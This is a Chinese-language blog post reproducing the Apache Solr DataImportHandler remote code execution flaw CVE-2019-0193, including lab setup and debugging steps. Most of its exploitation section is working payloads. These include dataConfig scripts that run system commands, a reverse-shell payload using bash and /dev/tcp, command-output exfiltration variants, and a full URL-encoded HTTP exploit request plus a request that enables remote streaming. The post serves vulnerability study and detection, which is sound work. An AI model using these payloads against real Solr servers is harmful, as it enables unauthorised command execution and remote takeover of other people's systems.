凡心所向,素履所往

Apache Solr CVE-2019-0193 复现与学习

字数统计: 2.3k阅读时长: 12 min
2019/09/08 Share

Apache Solr CVE-2019-0193 复现与学习

[TOC]

简介(抄袭,具体功能没搞懂)

Apache Solr是一个企业级搜索平台,用Java编写且开源,基于Apache Lucene项目。

主要功能包括:
full-text search 全文搜索
hit highlighting
faceted search
dynamic clustering 动态聚类
document parsing 文档解析
Solr可以像数据库一样被使用:
1.运行服务器,创建collection1
2.从外部获取数据 - 向collection1发送不同类型的数据(例如文本,xml文档,pdf文档等任何格式)
3.存储数据并生成索引 - Solr自动索引这些数据并提供快速、丰富的REST API接口,以便于你搜索已有数据
与Solr服务器通信的唯一协议是HTTP,并且默认情况下无需身份验证即可访问,所以Solr容易受到web攻击(SSRF,CSRF等)。

漏洞 CVE-2019-0193

利用条件

  • 1.Apache Solr的DataImportHandler启用了模块DataImportHandler(默认情况下该模块不会被启用)
  • 2.Solr Admin UI未开启鉴权认证。(默认情况下打开web界面无需任何认证

环境搭建

简版vulhub

直接利用vulhub进行搭建测试,详情按下不表。
这个漏洞复现遇到点问题,根据教程搭建的环境,进行复现,结果发现没法触发成功,运行poc 报错如下
-w1220
感觉应该是vps的防火墙配置出的问题,换成本地调试没有问题
-w1375
-w727

配置下载

apache solr 版本:Solr-8.1.1
jdk版本:1.8.0_144
在idea 中调试该环境

源码导入idea调试
  • 配置ant server

-w479

ant ivy-bootstrap  //安装ivy
cd solr
ant server
cd ..
ant idea

  • 启动远程调试
    创建 test core
    -w610
    这个时候会发现报错,需要在
    solr-7.7.2/solr/server/solr/test/conf
    
    目录进行修改添加
 <requestHandler name="/dataimport" class="solr.DataImportHandler"> 
      <lst name="defaults"> 
        <str name="config">data-config.xml</str> 
      </lst> 
    </requestHandler>

发现继续报错

Error loading class 'org.apache.solr.handler.dataimport.DataImportHandler'
cp solr/dist/solr-dataimporthander  server/solr-webapp/webapp/WEB-INF/lib 

-w458

可以正常创建了
-w1420

  • 调试命令
$ cd solr-8.1.1\server
$ java "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=9000" -Dsolr.solr.home="../example/example-DIH/solr/" -jar start.jar --module=http

利用方式

数据源类型为URLDataSource

  • 测试poc:
<dataConfig>
<dataSource type="URLDataSource"/>
  <script><![CDATA[ java.lang.Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
  ]]></script>
  <document>
    <entity name="a"
            url="https://stackoverflow.com/feeds/tag/solr"
            processor="XPathEntityProcessor"
            forEach="/feed"
            transformer="script:" />
  </document>
</dataConfig>
  • 反弹shell
<dataConfig>
<dataSource type="URLDataSource"/>
  <script><![CDATA[ java.lang.Runtime.getRuntime().exec("/bin/bash -c [email protected]|bash 0 echo bash -i >&/dev/tcp/127.0.0.1/9999 0>&1");
  ]]></script>
  <document>
    <entity name="a"
            url="https://stackoverflow.com/feeds/tag/solr"
            processor="XPathEntityProcessor"
            forEach="/feed"
            transformer="script:" />
  </document>
</dataConfig>
<dataConfig>


  <dataSource type="URLDataSource"/>
  <script><![CDATA[

          function poc(row){

 var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("/bin/bash -c [email protected]|bash 0 echo bash -i >&/dev/tcp/127.0.0.1/9999 0>&1")));

var result = [];

while(true) {
var oneline = bufReader.readLine();
result.push( oneline );
if(!oneline) break;
}

row.put("title",result.join("\n\r"));

return row;

}


  ]]></script>

        <document>
             <entity name="entity1"
                     url="https://raw.githubusercontent.com/1135/solr_exploit/master/URLDataSource/demo.xml"
                     processor="XPathEntityProcessor"
                     forEach="/RDF/item"
                     transformer="script:poc">
                        <field column="title" xpath="/RDF/item/title" />
             </entity>
        </document>
</dataConfig>

-w558

默认权限为程序的启动权限

远程检测poc
  • 外连有回显
<dataConfig>
 <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(row){
 var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("ls").getInputStream()));

var result = [];

while(true) {
var oneline = bufReader.readLine();
result.push( oneline );
if(!oneline) break;
}

row.put("title",result.join("\n\r"));

return row;

}
  ]]></script>

        <document>
             <entity name="entity1"
                     url="https://raw.githubusercontent.com/1135/solr_exploit/master/URLDataSource/demo.xml"
                     processor="XPathEntityProcessor"
                     forEach="/RDF/item"
                     transformer="script:poc">
                        <field column="title" xpath="/RDF/item/title" />
             </entity>
        </document>
</dataConfig>

其中https://raw.githubusercontent.com/1135/solr_exploit/master/URLDataSource/demo.xml文件内容如下:

<?xml version="1.0" encoding="UTF-8"?>
<RDF>
<item/>
</RDF>

-w1437

数据源类型为ContentStreamDataSource

  • 不外连 + 回显
    在该检测方式中 由于 ContentStreamDataSource能接收Post数据直接作为数据源,可以不用外连获取数据源。
POST /solr/tika/dataimport?command=full-import&verbose=false&clean=false&commit=false&debug=true&core=tika&name=dataimport&dataConfig=%0a%3c%64%61%74%61%43%6f%6e%66%69%67%3e%0a%3c%64%61%74%61%53%6f%75%72%63%65%20%6e%61%6d%65%3d%22%73%74%72%65%61%6d%73%72%63%22%20%74%79%70%65%3d%22%43%6f%6e%74%65%6e%74%53%74%72%65%61%6d%44%61%74%61%53%6f%75%72%63%65%22%20%6c%6f%67%67%65%72%4c%65%76%65%6c%3d%22%54%52%41%43%45%22%20%2f%3e%0a%0a%20%20%3c%73%63%72%69%70%74%3e%3c%21%5b%43%44%41%54%41%5b%0a%20%20%20%20%20%20%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%70%6f%63%28%72%6f%77%29%7b%0a%20%76%61%72%20%62%75%66%52%65%61%64%65%72%20%3d%20%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%69%66%63%6f%6e%66%69%67%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%29%3b%0a%0a%76%61%72%20%72%65%73%75%6c%74%20%3d%20%5b%5d%3b%0a%0a%77%68%69%6c%65%28%74%72%75%65%29%20%7b%0a%76%61%72%20%6f%6e%65%6c%69%6e%65%20%3d%20%62%75%66%52%65%61%64%65%72%2e%72%65%61%64%4c%69%6e%65%28%29%3b%0a%72%65%73%75%6c%74%2e%70%75%73%68%28%20%6f%6e%65%6c%69%6e%65%20%29%3b%0a%69%66%28%21%6f%6e%65%6c%69%6e%65%29%20%62%72%65%61%6b%3b%0a%7d%0a%0a%72%6f%77%2e%70%75%74%28%22%74%69%74%6c%65%22%2c%72%65%73%75%6c%74%2e%6a%6f%69%6e%28%22%5c%6e%5c%72%22%29%29%3b%0a%72%65%74%75%72%6e%20%72%6f%77%3b%0a%0a%7d%0a%0a%5d%5d%3e%3c%2f%73%63%72%69%70%74%3e%0a%0a%3c%64%6f%63%75%6d%65%6e%74%3e%0a%20%20%20%20%3c%65%6e%74%69%74%79%0a%20%20%20%20%20%20%20%20%73%74%72%65%61%6d%3d%22%74%72%75%65%22%0a%20%20%20%20%20%20%20%20%6e%61%6d%65%3d%22%65%6e%74%69%74%79%31%22%0a%20%20%20%20%20%20%20%20%64%61%74%61%73%6f%75%72%63%65%3d%22%73%74%72%65%61%6d%73%72%63%31%22%0a%20%20%20%20%20%20%20%20%70%72%6f%63%65%73%73%6f%72%3d%22%58%50%61%74%68%45%6e%74%69%74%79%50%72%6f%63%65%73%73%6f%72%22%0a%20%20%20%20%20%20%20%20%72%6f%6f%74%45%6e%74%69%74%79%3d%22%74%72%75%65%22%0a%20%20%20%20%20%20%20%20%66%6f%72%45%61%63%68%3d%22%2f%52%44%46%2f%69%74%65%6d%22%0a%20%20%20%20%20%20%20%20%74%72%61%6e%73%66%6f%72%6d%65%72%3d%22%73%63%72%69%70%74%3a%70%6f%63%22%3e%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%3c%66%69%65%6c%64%20%63%6f%6c%75%6d%6e%3d%22%74%69%74%6c%65%22%20%78%70%61%74%68%3d%22%2f%52%44%46%2f%69%74%65%6d%2f%74%69%74%6c%65%22%20%2f%3e%0a%20%20%20%20%3c%2f%65%6e%74%69%74%79%3e%0a%3c%2f%64%6f%63%75%6d%65%6e%74%3e%0a%3c%2f%64%61%74%61%43%6f%6e%66%69%67%3e%0a%20%20%20%20%0a%20%20%20%20%20%20%20%20%20%20%20 HTTP/1.1
Host: solr.com:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://solr.com:8983/solr/
Content-Length: 210
content-type: multipart/form-data; boundary=------------------------aceb88c2159f183f


--------------------------aceb88c2159f183f
Content-Disposition: form-data; name="stream.body"

<?xml version="1.0" encoding="UTF-8"?>
<RDF>
<item/>
</RDF>

--------------------------aceb88c2159f183f--

url 解码后数据如下


<dataConfig>
<dataSource name="streamsrc" type="ContentStreamDataSource" loggerLevel="TRACE" />

  <script><![CDATA[
          function poc(row){
 var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("ifconfig").getInputStream()));

var result = [];

while(true) {
var oneline = bufReader.readLine();
result.push( oneline );
if(!oneline) break;
}

row.put("title",result.join("\n\r"));
return row;

}

]]></script>

<document>
    <entity
        stream="true"
        name="entity1"
        datasource="streamsrc1"
        processor="XPathEntityProcessor"
        rootEntity="true"
        forEach="/RDF/item"
        transformer="script:poc">
             <field column="title" xpath="/RDF/item/title" />
    </entity>
</document>
</dataConfig>

-w1428

该方法虽然方便 但检测可能失败
缺点:对低版本无法检测 - 因为通过POST请求修改configoverlay.json文件中的配置会失败
可以先用以下数据包检测

POST /solr/tika/config HTTP/1.1
Host: 127.0.0.1
Accept: */*
Content-type:application/json
Content-Length: 159
Connection: close

{"set-property": {"requestDispatcher.requestParsers.enableRemoteStreaming": true}, "set-property": {"requestDispatcher.requestParsers.enableStreamBody": true}}

返回200 则可用该版本可行检测,500 则不行
-w1263

参考

solr源码通过idea进行本地调试
https://github.com/jas502n/CVE-2019-0193
https://github.com/Imanfeng/CVE-2019-0193
https://github.com/1135/solr_exploit#%E6%A3%80%E6%B5%8B%E6%BC%8F%E6%B4%9E—exploit1

CATALOG
  1. 1. Apache Solr CVE-2019-0193 复现与学习
    1. 1.1. 简介(抄袭,具体功能没搞懂)
    2. 1.2. 漏洞 CVE-2019-0193
      1. 1.2.1. 利用条件
      2. 1.2.2. 环境搭建
        1. 1.2.2.1. 简版vulhub
        2. 1.2.2.2. 配置下载
          1. 1.2.2.2.1. 源码导入idea调试
      3. 1.2.3. 利用方式
        1. 1.2.3.1. 数据源类型为URLDataSource
          1. 1.2.3.1.1. 远程检测poc
        2. 1.2.3.2. 数据源类型为ContentStreamDataSource
    3. 1.3. 参考